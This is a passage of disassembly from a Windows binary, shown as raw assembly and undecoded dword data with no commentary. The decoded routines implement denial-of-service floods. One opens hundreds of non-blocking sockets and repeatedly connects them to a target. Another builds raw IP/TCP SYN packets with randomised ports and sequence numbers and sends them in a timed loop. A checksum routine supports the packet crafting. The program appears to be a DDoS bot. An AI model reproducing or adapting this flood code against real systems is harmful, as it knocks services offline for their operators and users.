		dd 4CB9B815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43797C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022CC2h, 15FFFC75h, 4CBABCh, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 43793068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 6415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 6C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 2CC133E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB93Ch, 0C0753B46h,	75FFDA7Ch, 0DC15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 437A4068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22CC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0ADE89000h
		dd 500227CEh, 82E7E8h, 116A5900h, 26A026Ah, 0BAA415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA64h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBAA815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CBA24h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA8815h, 0D875FF00h, 26C2B6E8h
		dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 2415FF52h, 66004CBAh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Ch,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7AE868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0BDB2E856h, 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 26803E7h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437B14h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2CBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB994
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBAC8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CBA04
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CBA24
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CBA24
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CBA24
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CBA24
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B03E8h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27B0175h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CBA24
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CBA24
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CBA20
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CBA24
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27B0175h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437B3C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBABC
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB97C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 5C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0BA3815FFh, 75FF004Ch
		dd 0A815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CBAA4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 415FFFCh, 0BE004CBAh, 200h, 7627E856h, 3D8B0000h, 4270B0h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0BA2415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004CBAh,	0E2458966h
		dd 0BA2415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA8815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBABC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBAA4h
		dd 89FFF883h, 6675FC45h, 0B9B815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C7468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0B576E890h, 4D8D022Ch, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CBA0415h, 0FFF88300h, 15FF6675h, 4CB9B8h
		dd 0C0858D50h, 68FFFFFBh, 437C3Ch, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22CB4F8h,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA6415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437C1C68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CBA24h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA6415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0BA2415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA6415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
		dd 66004CBAh, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 2415FF52h, 68004CBAh, 12345678h, 0E8458966h,	0BA2015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D4h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEECh, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE4h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CBA24h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	2415FF06h
		dd 66004CBAh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA8815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0BC15FFFCh, 0FF004CBAh, 4CB9B815h, 858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437BCC68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22CB18Ch, 0FFFC75FFh, 4CBABC15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B7C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2CB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7CA868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
